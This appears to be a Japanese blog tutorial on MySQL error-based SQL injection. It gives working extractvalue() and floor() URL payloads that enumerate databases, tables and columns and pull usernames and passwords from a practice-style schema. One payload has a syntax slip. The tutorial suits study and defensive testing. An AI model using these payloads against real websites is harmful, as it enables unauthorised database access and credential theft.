Webセキュリティ:エラーインジェクションの原理と実践手法

 ?id=1' and extractvalue(1,concat(0x7e,database())) -- a


上記のクエリを実行すると、データベースの名前がエラーメッセージとして表示されます:

database() の部分は、実行したい任意のSQL文に置き換えることができます。

次に、エラーインジェクションがどのようにデータを表示するのかを段階的に分析していきます。

二、実行原理

1. コードロジックの分析

テストサイトの機能は非常にシンプルで、IDに基づいてユーザー名を取得します:

実行フローは以下の3段階です:

  1. ユーザーがパラメータ(ユーザーID)を入力
  2. バックエンドでSQL実行(ユーザー情報をクエリ)
  3. クエリ結果をフロントエンドに表示

サイトの機能ロジックを理解した後、エラーインジェクションの核心であるextractvalue()関数を詳しく見ていきましょう。

2. エラー生成関数

MySQLにはextractvalue()関数があり、第二引数に特殊な記号を含む場合にエラーを発生させ、その第二引数の内容をエラーメッセージに表示します。

試しにユーザー情報をクエリしながらエラー関数を使用してみましょう:?id=1' and extractvalue(1, 0x7e) -- a

ヒント:0x7e~ と同等です;extractvalue()はMySQL5.1以上のバージョンが必要です。

第二引数に特殊記号 ~ が含まれているため、データベースがエラーを発生させ、その第二引数の内容がエラーメッセージとして表示されます。

3. クエリ結果の結合

第二引数の位置にクエリ文と特殊記号を結合することで、クエリ結果をエラーメッセージに表示させることができます。アドレスバーに入力:

?id=1' and extractvalue(1, concat(0x7d,select version())) -- a


第二引数の内容にあるクエリ結果がデータベースのエラーメッセージに表示され、ページに反映されます。

ヒント:

  1. version():データベースのバージョンを返す
  2. concat():特殊記号とクエリ結果を結合する関数。詳細はMySQL公式ドキュメントを参照してください

4. 長さの制限

extractvalue()関数のエラーメッセージの長さは32文字を超えることができません。一般的な解決策は2つあります:

  1. limitによるページネーション
  2. substr()による文字列の切り取り
4.1 limitによるページネーション

データベースユーザーを取得する例:

?id=-1' and extractvalue(1,concat(0x7d,
	(select user
	from mysql.user limit 1,1)
)) -- a


4.2 substr()による文字列の切り取り

データベースユーザーを取得する例:

?id=-1' and extractvalue(1,concat(0x7d,
	substr(
		(select group_concat(user)
		from mysql.user)
	, 1 , 31)
)) -- a


エラーインジェクションの実行原理を理解したところで、エラーインジェクションの手順を整理してみましょう。

三、手順のまとめ

適用状況:ページにデータベースのエラーメッセージが表示される場合

エラーメッセージは動的で、データベースからのエラーでなければなりません。
サイトにハードコードされた、カスタムのエラーメッセージは対象外です。


1. エラー発生の確認

パラメータにシングル/ダブルクォートを追加し、ページがエラーを表示する場合のみ次のステップに進めます。

?id=1' -- a


2. エラー条件の確認

パラメータにエラー関数を追加し、エラーメッセージが正常に表示されるか確認します

?id=1' and extractvalue(1,'~') -- a


3. データベースの取得

すべてのデータベースを取得

?id=-1' and extractvalue(1,concat('~',
	substr( 
		(select group_concat(schema_name)
		from information_schema.schemata)
	, 1 , 31)
)) -- a


すべてのテーブルを取得

?id=1' and extractvalue(1,concat('~',
 substr( 
 (select group_concat(table_name)
 from information_schema.tables
 where table_schema = 'security')
	, 1 , 31)
)) -- a


すべてのカラムを取得

?id=1' and extractvalue(1,concat('~',
 substr( 
 (select group_concat(column_name)
 from information_schema.columns
 where table_schema = 'security' and table_name = 'users')
	, 1 , 31)
)) -- a


4. データの取得

特定のデータを抽出

?id=1' and extractvalue(1,concat('~',
 substr( 
 (select group_concat(username,0x3a,password)
 from security.users)
	, 1 , 31)
)) -- a


四、その他のエラー関数

updatexml()やextractvalue()のほかに、以下の関数もエラーインジェクションに使用できます:

  1. floor():数値演算エラーを利用
  2. geometrycollection():幾何学関数のエラーを利用
  3. multipoint():マルチポイント関数のエラーを利用
  4. exp():指数関数のオーバーフローを利用

例としてfloor()を使用した例:

?id=1' and (select count(*) from information_schema.tables group by concat(0x7d,database(),0x7d,floor(rand(0)*2))) -- a


タグ: SQLインジェクション Webセキュリティ データベース MySQL エラーインジェクション

5月24日 18:58 投稿